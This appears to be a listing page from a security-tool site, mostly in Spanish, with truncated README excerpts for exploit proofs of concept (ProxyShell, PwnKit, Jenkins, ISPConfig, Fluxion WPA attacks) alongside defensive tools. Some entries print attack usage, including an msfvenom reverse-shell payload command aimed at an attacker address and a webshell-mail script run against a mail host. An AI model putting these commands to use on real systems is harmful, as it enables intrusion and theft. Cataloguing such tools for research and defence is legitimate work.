CVE-2020-28148

CVE-2020-28148 Forma común de atacar WiFi, no solo aplicable a productos WiFi de Sunrui subsidiaria de Sangfor. Tras múltiples prácticas de ataque y defensa, se ha descubierto que este método de explotación puede eludir a varios fabricantes de AC. Este artículo se utiliza para divulgar el método ...

CVE-2021-41773

CVE-2021-41773 Explotación de CVE-2021-41773 un Directory Traversal en Apache 2.4.49...

CVE-2023-46818-python-exploit

CVE-2023-46818 exploit This is a python version of the original php script for the vulnerability affecting ispconfig 3.2.11 and previous versions. Original PHP source: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html This proof-of-concept is intended for...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] Single retrieval python sendwebshellmail.py https://mail16.echod.com crack Batch read emails from mail.txt and attempt to obtain SID tokens python sendwebshellmail.py https://mail16.echod.com [email protected] send on...

setup-ipsec-vpn

English | 简体中文 | 繁體中文 | 日本語 | Русский Scripts de instalación automática de servidor VPN IPsec Configura tu propio servidor VPN IPsec en solo unos minutos, con IPsec/L2TP, Cisco IPsec e IKEv2. Una VPN IPsec cifra tu tráfico de red, de modo que nadie entre tú y el servidor VPN pueda espiar tus dato...

CVE-2026-24061-NSE

CVE-2026-24061 — Bypass de autenticación en telnetd de GNU InetUtils Script de detección NSE para Nmap Resumen Este script NSE de Nmap detecta CVE-2026-24061 , una vulnerabilidad de bypass de autenticación en telnetd de GNU InetUtils versiones 1.9.3 hasta 2.7. Al enviar una variable de entorno US...

CVE-2024-31848-PoC

Explotando CData en servidores Jetty - CVE-2024-31848/49/50/51 - Recorrido de Ruta y Lectura de Archivos Qué es Un PoC prototipo para la automatización del análisis de vulnerabilidades en objetivos que ejecutan aplicaciones CData en un servidor Jetty embebido. Uso Simplemente usa -u o --url para...

NimNightmare

CVE-2021-1675 LPE PoC ¡no es mi exploit! solo quería experimentar con la librería winim en nim. Uso Genera el payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll y luego inicia el handler en tu máquina atacante. En la víctima ejecuta...

CVE-2024-43044-POC

Usage Download the JAR package via http://ip:port/jnlpJars/agent.jar Modify the corresponding code in \hudson\remoting\RemoteClassLoader.class Recompile and repackage Need to know the node's secret and name in advance root@kitploit: java -jar agent.jar -url http://ip:port/ -secret -name Add the...

cve-2016-1000027-poc

PoC for CVE-2016-1000027 This is a demo Spring Boolt application that is affected by CVE-2016-1000027. Steps to reproduce the vulnerability 1. Start a vulnerable server com.gypsyengineer.server.Server. 2. Run com.gypsyengineer.client.Exploit. The Exploit class reads payload.bin and sends it to th...

CVE-2024-23897

CVE-2024-23897 Este repositorio presenta una prueba de concepto de CVE-2024-23897 Descubierto por sonarsource CVE-2024-23897 | Lectura de archivos en jenkins Descargo de responsabilidad Este código es una prueba de concepto de la vulnerabilidad; no estoy animando a nadie a usarlo en instancias de...

fluxion

Fluxion es el futuro de los ataques MITM WPA Fluxion es una herramienta de auditoría de seguridad e investigación de ingeniería social. Es una remake de linset por vk496 con con suerte menos errores y más funcionalidad. El script intenta recuperar la clave WPA/WPA2 de un punto de acceso objetivo...

coreruleset

Rama| Estado ---|--- main| 🛡️ OWASP CRS...

coreruleset

Branch| Status ---|--- main| 🛡️ OWASP CRS...

CVE-2026-42141-xibo-ssrf

CVE-2026-42141 - SSRF en XIBO CMS Vulnerabilidad de SSRF en Xibo CMS CVE-2026-42141 Descripción Vulnerabilidad de Server-Side Request Forgery SSRF en Xibo CMS a través de la función uploadUrl. Esta vulnerabilidad fue descubierta durante una investigación de seguridad en Xibo CMS. Impacto Un usuar...

ida-pro-mcp

IDA Pro MCP Simple MCP Server to allow vibe reversing in IDA Pro. https://github.com/user-attachments/assets/6ebeaa92-a9db-43fa-b756-eececce2aca0 The binaries and prompt for the video are available in the mcp-reversing-dataset repository. Prerequisites Python 3.11 or higher Use idapyswitch to...

ida-pro-mcp

IDA Pro MCP Servidor MCP sencillo para permitir el vibe reversing en IDA Pro. https://github.com/user-attachments/assets/6ebeaa92-a9db-43fa-b756-eececce2aca0 Los binarios y el prompt del vídeo están disponibles en el repositorio mcp-reversing-dataset. Requisitos previos Python 3.11 o superior Usa...

PoC-CVE-2021-4034

PoC-CVE-2021-4034 PoC reference https://github.com/arthepsy/CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt Usage: gcc PoC.c -o PoC ./PoC...

CVE-2026-8461-PoC

PoC de CVE-2026-8461 !WARNING Esta PoC ha sido generada completamente por IA. Uso: root@kitploit: python exploitcve20268461.py --baseline --frames 25 -o baseline.avi Una versión sin parche de ffmpeg se bloqueará al procesar baseline.avi...

AppEnumGuard

AppEnumGuard AppEnumGuard is a defensive tweak for the installed-application enumeration side channel tracked as CVE-2025-31207. It supports conventional rootless and rootHide jailbreak environments on iOS 15.0–18.4.1. The repository also contains a normal sandboxed iOS test application that...